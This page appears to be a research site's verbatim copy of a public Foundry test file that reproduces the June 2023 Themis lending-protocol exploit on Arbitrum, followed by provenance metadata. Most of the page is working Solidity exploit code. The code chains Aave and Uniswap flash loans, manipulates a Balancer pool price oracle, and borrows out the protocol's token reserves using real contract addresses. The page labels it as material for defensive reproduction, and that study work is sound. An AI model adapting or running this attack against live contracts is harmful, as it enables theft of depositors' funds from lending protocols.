Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/Themis_exp.sol

Public reproduction file for dataset entry Themis.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/Themis_exp.sol265 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~370K USD$
8// Attacker : https://arbiscan.io/address/0xdb73eb484e7dea3785520d750eabef50a9b9ab33
9// Attack Contracts : https://arbiscan.io/address/0x05a1b877330c168451f081bfaf32d690ea964fca
10// https://arbiscan.io/address/0x33f3fb58ea0f91f4bd8612d9f477420b01023f25
11// Vulnerable Contract : https://arbiscan.io/address/0x75f805e2fb248462e7817f0230b36e9fae0280fc
12// Attack Tx : https://arbiscan.io/tx/0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8
14// @Analysis
15// https://twitter.com/BeosinAlert/status/1673930979348717570
16// Detailed attack steps: https://twitter.com/BlockSecTeam/status/1673897088617426946
18interface IThemis {
19 function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
21 function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
23 function borrow(
24 address asset,
25 uint256 amount,
26 uint256 interestRateMode,
27 uint16 referralCode,
28 address onBehalfOf
29 ) external;
32interface IGauge is IERC20 {
33 function deposit(uint256 _amount, address _referrer) external;
36interface IPool is IERC20 {
37 function getPoolId() external view returns (bytes32);
40contract ThemisTest is Test {
41 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
42 IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
43 IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);
44 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
45 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
46 IERC20 ARB = IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548);
47 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
48 // wstETH - WETH Pool
49 IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);
50 IGauge BalancerGauge = IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);
51 IAaveFlashloan AaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
52 Uni_Pair_V3 UniPool1 = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c);
53 Uni_Pair_V3 UniPool2 = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
54 IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
55 IThemis AttackedThemisContract = IThemis(0x75F805e2fB248462e7817F0230B36E9Fae0280Fc);
56 IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);
57 address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;
58 address private constant themisDAI = 0x10c73B8e7E5DC0d25a1A717f4BF9026d955382dE;
59 address private constant themisUSDC = 0x349aC9f74Dcf2Bdf6a39F0Df57f5c8C9840a5367;
60 address private constant themisUSDT = 0xe67F804192c92674639cE46D059823976C24E925;
61 address private constant themisARB = 0x1467B18945135c6866b7f9d64729bcDAD60C9295;
62 address private constant themisWBTC = 0x1762A96724ab7ae072ABD7dB7A43fFc66261669E;
63 address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;
64 AttackContract AContract;
65 address private constant DAI_USDC = 0xd37Af656Abf91c7f548FfFC0133175b5e4d3d5e6;
66 address private constant WETH_ARB = 0x92c63d0e701CAAe670C9415d91C474F686298f00;
67 address private constant WBTC_WETH = 0x2f5e87C9312fa29aed5c179E456625D79015299c;
68 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
70 function setUp() public {
71 cheats.createSelectFork("arbitrum", 105_524_523);
72 cheats.label(address(WETH), "WETH");
73 cheats.label(address(AaveV3), "AaveV3");
74 cheats.label(address(UniPool1), "UniPool1");
75 cheats.label(address(UniPool2), "UniPool2");
76 }
78 function testExploit() public {
79 WETH.approve(address(AaveV3), type(uint256).max);
81 address[] memory assets = new address[](1);
82 assets[0] = address(WETH);
83 uint256[] memory amounts = new uint256[](1);
84 amounts[0] = 22_000 * 1e18;
85 uint256[] memory modes = new uint256[](1);
86 modes[0] = 0;
87 AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
89 uniswapV3Swap(DAI_USDC, true, DAI.balanceOf(address(this)), 39_213_280_958_319_573_512_907);
90 uniswapV3Swap(WETH_ARB, false, ARB.balanceOf(address(this)), 6_123_808_957_771_478_940_080_370_857_742);
91 uniswapV3Swap(WBTC_WETH, true, WBTC.balanceOf(address(this)), 21_845_559_093_545_742_410_589_827_953_560_948);
92 emit log_named_decimal_uint(
93 "Attacker's amount of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals()
94 );
95 emit log_named_decimal_uint(
96 "Attacker's amount of USDC after exploit", USDC.balanceOf(address(this)), USDC.decimals()
97 );
98 emit log_named_decimal_uint(
99 "Attacker's amount of USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals()
100 );
101 }
103 function executeOperation(
104 address[] calldata assets,
105 uint256[] calldata amounts,
106 uint256[] calldata premiums,
107 address initiator,
108 bytes calldata params
109 ) external returns (bool) {
110 UniPool1.flash(address(this), 0, 10_000 * 1e18, "");
111 return true;
112 }
114 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
115 if (msg.sender == address(UniPool1)) {
116 UniPool2.flash(address(this), 8000 * 1e18, 0, "");
117 WETH.transfer(msg.sender, 10_000 * 1e18 + fee1);
118 } else {
119 WETH.approve(address(BalancerVault), type(uint256).max);
120 WETH.approve(address(AttackedThemisContract), type(uint256).max);
121 wstETH.approve(address(BalancerVault), type(uint256).max);
122 BalancerPool.approve(address(BalancerGauge), type(uint256).max);
123 BalancerGauge.approve(proxyAddress, type(uint256).max);
125 Aggregator.latestAnswer();
127 AttackedThemisContract.supply(address(WETH), 220e18, address(this), 0);
128 AttackedThemisContract.setUserUseReserveAsCollateral(address(WETH), true);
130 // emit log_uint(DAI.balanceOf(themisDAI));
131 borrowTokens(address(DAI), DAI.balanceOf(themisDAI));
132 borrowTokens(address(USDC), USDC.balanceOf(themisUSDC));
133 borrowTokens(address(USDT), USDT.balanceOf(themisUSDT));
134 borrowTokens(address(ARB), ARB.balanceOf(themisARB));
135 borrowTokens(address(WBTC), WBTC.balanceOf(themisWBTC));
137 WETH.withdraw(55e18);
139 AContract = new AttackContract{value: 55 ether}();
141 balancerSwap(address(wstETH), address(WETH), wstETH.balanceOf(address(this)));
142 WETH.transfer(msg.sender, 8000 * 1e18 + fee0);
143 }
144 }
146 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
147 if (msg.sender == DAI_USDC) {
148 DAI.transfer(DAI_USDC, uint256(amount0Delta));
149 } else if (msg.sender == WETH_ARB) {
150 ARB.transfer(WETH_ARB, uint256(amount1Delta));
151 } else {
152 WBTC.transfer(WBTC_WETH, uint256(amount0Delta));
153 }
154 }
156 function balancerSwap(address tokenA, address tokenB, uint256 swapAmount) public {
157 IBalancerVault.SingleSwap memory single = IBalancerVault.SingleSwap({
158 poolId: BalancerPool.getPoolId(),
159 kind: IBalancerVault.SwapKind(0),
160 assetIn: tokenA,
161 assetOut: tokenB,
162 amount: swapAmount,
163 userData: ""
164 });
166 IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
167 sender: address(this),
168 fromInternalBalance: false,
169 recipient: payable(address(this)),
170 toInternalBalance: false
171 });
173 BalancerVault.swap(single, funds, 0, block.timestamp);
174 }
176 function borrowTokens(address token, uint256 borrowAmount) internal {
177 AttackedThemisContract.borrow(token, borrowAmount, 2, 0, address(this));
178 }
180 function uniswapV3Swap(
181 address uniswapPool,
182 bool zeroForOne,
183 uint256 amountSpecified,
184 uint160 sqrtPriceLimit
185 ) internal {
186 Uni_Pair_V3(uniswapPool).swap(address(this), zeroForOne, int256(amountSpecified), sqrtPriceLimit, "");
187 }
189 receive() external payable {}
192contract AttackContract {
193 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
194 IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
195 IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
196 IGauge BalancerGauge = IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);
197 IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);
198 IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);
199 address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;
200 address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;
201 address private constant themisContract = 0x2132d49157D6148dEe8753f059fAd1C1b09C477c;
203 constructor() payable {
204 WETH.approve(address(BalancerVault), type(uint256).max);
205 BalancerPool.approve(address(BalancerGauge), type(uint256).max);
206 BalancerGauge.approve(proxyAddress, type(uint256).max);
207 depositWETH();
209 address[] memory tokens = new address[](2);
210 tokens[0] = address(wstETH);
211 tokens[1] = address(WETH);
212 uint256[] memory amountsIn = new uint256[](2);
213 amountsIn[0] = 0;
214 amountsIn[1] = 55e18;
216 bytes memory data =
217 hex"00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002fb474098f67c0000";
219 IBalancerVault.JoinPoolRequest memory request = IBalancerVault.JoinPoolRequest({
220 asset: tokens,
221 maxAmountsIn: amountsIn,
222 userData: data,
223 fromInternalBalance: false
224 });
225 BalancerVault.joinPool(BalancerPool.getPoolId(), address(this), address(this), request);
227 BalancerGauge.deposit(BalancerPool.balanceOf(address(this)), address(this));
228 proxyCall();
229 balancerSwap();
230 Aggregator.latestAnswer();
231 borrowWETH();
232 WETH.transfer(msg.sender, WETH.balanceOf(address(this)));
233 }
235 function borrowWETH() internal {
236 (bool success, bytes memory retData) = themisContract.call(
237 abi.encodeWithSignature(
238 "borrow(address,address,uint256,uint256)", address(WETH), address(this), WETH.balanceOf(themisWETH), 2
239 )
240 );
242 require(success, "Call not successful");
243 }
245 function balancerSwap() internal {
246 (bool success, bytes memory retData) = msg.sender.call(
247 abi.encodeWithSignature(
248 "balancerSwap(address,address,uint256)", address(WETH), address(wstETH), 39_725 * 1e18
249 )
250 );
251 require(success, "Call not successful");
252 }
254 function proxyCall() internal {
255 (bool success, bytes memory retData) = proxyAddress.call(
256 abi.encodeWithSelector(bytes4(0x41d11324), address(BalancerGauge), BalancerGauge.balanceOf(address(this)))
257 );
258 require(success, "Call not successful");
259 }
261 function depositWETH() internal {
262 (bool success, bytes memory retData) = address(WETH).call{value: 55 ether}(abi.encodeWithSignature("deposit()"));
263 require(success, "Call not successful");
264 }

Analysis

Dataset entry

Public Foundry test for “Themis” (2023-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdb73eb484e7dea3785520d750eabef50a9b9ab33

  • Attack Contract

    0x05a1b877330c168451f081bfaf32d690ea964fca

  • Vulnerable Contract

    0x75f805e2fb248462e7817f0230b36e9fae0280fc

  • Attack Tx

    0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8

File record

Name
Themis
Path
src/test/2023-06/Themis_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e05b5db8be8e5243bb1df33139d44a022938abed
Language
Solidity
Size
266 lines
Date
2023-06-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/Themis_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e05b5db8be8e5243bb1df33139d44a022938abed, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.